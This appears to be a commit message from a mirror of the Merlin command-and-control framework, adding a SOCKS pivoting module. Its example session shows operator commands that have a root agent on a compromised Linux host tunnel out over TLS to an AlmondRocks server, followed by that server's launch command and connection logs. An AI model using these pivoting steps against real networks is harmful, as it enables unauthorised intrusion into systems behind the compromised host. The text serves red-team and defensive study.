mirror of
https://github.com/Ne0nd0g/merlin
synced 2026-06-08 11:59:20 +00:00
Kevin
9744494a78
The SOCKS module connects out to a server, and allows you to tunnel SOCKS-wrapped connections into the target network over TLS. The server can be downloaded from https://github.com/klustic/AlmondRocks (follow the README there to set the AlmondRocks (arox) server up). Example usage: ``` Merlin» agent list +--------------------------------------+-------------+------+--------------+-------------+---------+ | AGENT GUID | PLATFORM | USER | HOST | TRANSPORT | STATUS | +--------------------------------------+-------------+------+--------------+-------------+---------+ | b93df9ce-97fe-4644-b205-d72ad41f99e4 | linux/amd64 | root | 5b56f371f161 | HTTP/2 (h2) | Delayed | +--------------------------------------+-------------+------+--------------+-------------+---------+ Merlin» use module linux/x64/python/pivoting/arox Merlin[module][AlmondRocks]» set host 10.30.43.78:443 [+]host set to 10.30.43.78:443 Merlin[module][AlmondRocks]» set agent b93df9ce-97fe-4644-b205-d72ad41f99e4 [+]agent set to b93df9ce-97fe-4644-b205-d72ad41f99e4 Merlin[module][AlmondRocks]» show options Agent: b93df9ce-97fe-4644-b205-d72ad41f99e4 Module options(AlmondRocks) NAME | VALUE | REQUIRED | DESCRIPTION +-------+--------------------------------------+----------+--------------------------------+ Agent | b93df9ce-97fe-4644-b205-d72ad41f99e4 | true | Agent on which to run module | | | AlmondRocks host | 10.30.43.78:443 | true | The AlmondRocks | | | server, specified as | | | <IP|Domain>:<Port> Merlin[module][AlmondRocks]» run [-]Created job zZEiTLGFUO for agent b93df9ce-97fe-4644-b205-d72ad41f99e4 ON THE AROX SERVER: # python arox.py -v server -s 0.0.0.0:1080 -t 0.0.0.0:443 --cert /tmp/arox/bin/../ssl/cert.pem --key /tmp/arox/bin/../ssl/key.pem [2018-12-05 22:29:07] WARNING SocksServer: Waiting for Tunnel connections on 0.0.0.0:443 [2018-12-05 22:46:03] WARNING SocksServer: Accepted Tunnel connection from 172.17.0.1:50216 [2018-12-05 22:46:03] INFO SocksServer: Listening for SOCKSv5 clients on 0.0.0.0:1080 [2018-12-05 22:47:28] INFO SocksServer: Created new channel: <Channel id=4074514444 remote_addr=None local_addr=127.0.0.1:44506> [2018-12-05 22:47:28] INFO SocksServer: Channel connected remotely: <Channel id=4074514444 remote_addr=google.com[172.217.2.14]:80 local_addr=127.0.0.1:44506> [2018-12-05 22:47:28] INFO Tunnel: Closed channel: <Channel id=4074514444 remote_addr=google.com[172.217.2.14]:80 local_addr=127.0.0.1:44506> [2018-12-05 22:47:34] INFO SocksServer: Created new channel: <Channel id=4074514445 remote_addr=None local_addr=127.0.0.1:44510> [2018-12-05 22:47:34] INFO SocksServer: Channel connected remotely: <Channel id=4074514445 remote_addr=google.com[172.217.2.14]:443 local_addr=127.0.0.1:44510> [2018-12-05 22:47:35] INFO Tunnel: Closed channel: <Channel id=4074514445 remote_addr=google.com[172.217.2.14]:443 local_addr=127.0.0.1:44510> [2018-12-05 22:47:38] INFO SocksServer: Created new channel: <Channel id=4074514446 remote_addr=None local_addr=127.0.0.1:44514> [2018-12-05 22:47:38] INFO SocksServer: Channel connected remotely: <Channel id=4074514446 remote_addr=www.google.com[172.217.6.36]:443 local_addr=127.0.0.1:44514> [2018-12-05 22:47:39] INFO Tunnel: Closed channel: <Channel id=4074514446 remote_addr=www.google.com[172.217.6.36]:443 local_addr=127.0.0.1:44514> ```